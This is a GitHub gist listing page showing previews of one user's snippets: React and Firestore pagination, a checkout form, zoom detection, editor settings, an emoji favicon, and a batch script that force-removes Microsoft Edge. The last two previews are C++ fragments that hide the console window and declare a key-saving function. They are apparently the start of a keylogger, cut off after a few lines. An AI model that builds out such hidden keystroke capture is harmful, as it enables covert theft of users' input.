Skip to content

Instantly share code, notes, and snippets.

View heytulsiprasad's full-sized avatar
⚛️
Overreacting

Tulsi Prasad heytulsiprasad

⚛️
Overreacting
View GitHub Profile
export const perspective = {
initial: {
scale: 0.9,
y: -150,
opacity: 0.5,
},
enter: {
scale: 1,
y: 0,
opacity: 1,
@heytulsiprasad
heytulsiprasad / PaginateApp.js
Created July 28, 2024 14:08 — forked from joeljerushan/PaginateApp.js
React Pagination with Firebase FireStore - (Prev / Next Pagination)
import React, { useState, useEffect } from 'react';
// I'm using react-bootstrap for UI elements
import { Table, Button, ButtonGroup } from 'react-bootstrap';
// Firebase config
import { getFirestore, collection, query, orderBy, limit, startAfter, endBefore, onSnapshot } from 'firebase/firestore';
import { getApp } from 'firebase/app';
export default function App() {
const [list, setList] = useState([]);
const [page, setPage] = useState(1);
@heytulsiprasad
heytulsiprasad / checkout_form.ts
Created July 19, 2024 12:38
I don't wanna lose this code as it's probably same as most checkout forms.
{/* Payment info card */}
<form
className="bg-white rounded-2xl px-10 py-8 w-full mt-6 widescreenConstraint"
onSubmit={handleSubmit}>
<h2 className="font-fredoka font-bold text-3xl">Payment Information</h2>
<input
type="tel"
name="cardNumber"
placeholder="Credit Card Number"
className="w-full mt-4 p-4 rounded-2xl border-[1px] border-lightGrey"
@heytulsiprasad
heytulsiprasad / detect-zoom.js
Last active December 23, 2023 16:59 — forked from abilogos/detect-zoom.js
Differenciate between resizing for zoom or just window resizing
//for zoom detection
px_ratio = window.devicePixelRatio || window.screen.availWidth / document.documentElement.clientWidth;
function isZooming(){
var newPx_ratio = window.devicePixelRatio || window.screen.availWidth / document.documentElement.clientWidth;
if(newPx_ratio != px_ratio){
px_ratio = newPx_ratio;
console.log("zooming");
return true;
}else{
{
"sync.gist": "c9c964ae99f2e35d5e2219b5dfd9b7ef",
"workbench.iconTheme": "material-icon-theme",
"workbench.startupEditor": "newUntitledFile",
"explorer.confirmDelete": false,
"explorer.confirmDragAndDrop": false,
"prettier.packageManager": "yarn",
"[javascript]": {
"editor.defaultFormatter": "esbenp.prettier-vscode"
},
@heytulsiprasad
heytulsiprasad / removeEdge.bat
Last active October 30, 2024 19:13
Removes edge browser from your system permanently
@echo off
:: Creator: Dave Kirkwood
:: Modified:By Britec
:: Created: 24/09/2020
:: Updated: 21/09/2022
::
:: First Stop Microsoft Edge Task
taskkill /F /IM msedge.exe >nul 2>&1
@heytulsiprasad
heytulsiprasad / emoji.html
Last active September 9, 2023 05:57
Amazing emojis as your favicon
<head>
<title>Target 2025</title>
<link
rel="icon"
href="data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text y=%22.9em%22 font-size=%2290%22>🎯</text></svg>"
/>
</head>
#include <iostream>
#include <windows.h>
using namespace std;
int Save(int _key,char *file);
int main()
{
FreeConsole();
#include <iostream>
#include <windows.h>
using namespace std;
int Save(int _key,char *file);
int main()
{
FreeConsole();